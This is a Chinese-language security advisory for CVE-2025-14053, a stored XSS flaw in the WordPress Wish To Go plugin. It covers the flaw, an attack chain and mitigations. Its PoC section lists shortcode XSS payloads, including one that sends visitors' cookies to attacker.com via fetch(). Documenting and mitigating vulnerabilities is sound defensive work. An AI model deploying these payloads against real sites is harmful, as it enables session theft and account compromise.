IPBUF安全漏洞报告
English
CVE-2025-14053 CVSS 6.4 中危

CVE-2025-14053 WordPress Wish To Go插件存储型XSS漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-14053
漏洞类型
存储型XSS (Stored Cross-Site Scripting)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Wish To Go plugin for WordPress

相关标签

存储型XSSWordPress插件Wish To Go短代码注入CVE-2025-14053中危漏洞权限提升

漏洞概述

CVE-2025-14053是WordPress Wish To Go插件中的一个存储型跨站脚本(XSS)漏洞。该插件是一款用于在WordPress网站上创建心愿单功能的插件。漏洞源于插件在处理短代码(Shortcode)属性时,对用户输入的清理和输出转义不足。攻击者只需拥有Contributor(贡献者)级别或更高的权限,即可通过在文章或页面中嵌入恶意构造的短代码,将恶意JavaScript脚本存储到数据库中。当其他用户访问包含恶意内容的页面时,这些脚本会自动执行,可能导致会话劫持、敏感信息窃取或管理员权限滥用等严重后果。该漏洞影响所有版本至0.5.2版本,由于CVSS评分达到6.4(中危),建议立即采取修复措施。

技术细节

漏洞根源在于Wish To Go插件的wish-to-go.php文件第124行附近的代码,在处理短代码属性时缺少适当的输入验证和输出编码。攻击者可以利用WordPress的短代码机制,在shortcode属性中注入恶意脚本代码。由于插件直接将用户提供的属性值插入到HTML输出而未进行转义处理,恶意代码会被永久存储在数据库中。每次页面加载时,带有恶意短代码的内容都会触发XSS执行。攻击条件门槛较低,Contributor级别的认证用户即可发起攻击,无需管理员权限。这使得漏洞在实际环境中容易被利用,尤其在多用户博客或允许用户投稿的WordPress站点上风险更高。

攻击链分析

STEP 1
信息收集
攻击者确认目标网站使用WordPress并安装存在漏洞的Wish To Go插件(版本<=0.5.2)
STEP 2
权限获取
攻击者获取WordPress Contributor级别账户权限(可通过注册、社工或利用其他漏洞获取)
STEP 3
恶意内容注入
攻击者在文章或页面中插入带有XSS payload的恶意短代码,如[wish-to-go location='<script>恶意代码</script>']
STEP 4
持久化存储
恶意短代码随文章内容被永久存储到WordPress数据库中
STEP 5
触发执行
当其他用户(管理员或访客)访问包含恶意内容的页面时,浏览器自动解析并执行注入的JavaScript代码
STEP 6
攻击成功
攻击者通过XSS窃取用户Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-14053 PoC - Stored XSS via Shortcode // Author: Contributor+ level user // Target: Wish To Go plugin <= 0.5.2 // Method 1: Inject XSS payload via shortcode in post/page content [wish-to-go location="<img src=x onerror=alert(document.cookie)>"] // Method 2: More sophisticated payload [wish-to-go location='" onfocus="alert(String.fromCharCode(88,83,83))" autofocus="'] // Method 3: Using various shortcode attributes [wish-to-go destination="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"] // Exploitation scenario: // 1. Attacker with Contributor access creates/edits a post // 2. Inserts malicious shortcode with XSS payload // 3. Post is saved and XSS is stored in database // 4. When victims visit the page, XSS executes automatically

影响范围

Wish To Go plugin <= 0.5.2

防御指南

临时缓解措施
在官方补丁发布前,可临时采取以下措施:(1)临时禁用Wish To Go插件;(2)限制或移除网站的Contributor用户角色注册功能;(3)使用Web应用防火墙(WAF)规则过滤恶意短代码模式;(4)对现有文章进行全面扫描,清除可疑的短代码内容;(5)加强用户权限管理,避免低权限账户发布未审核内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表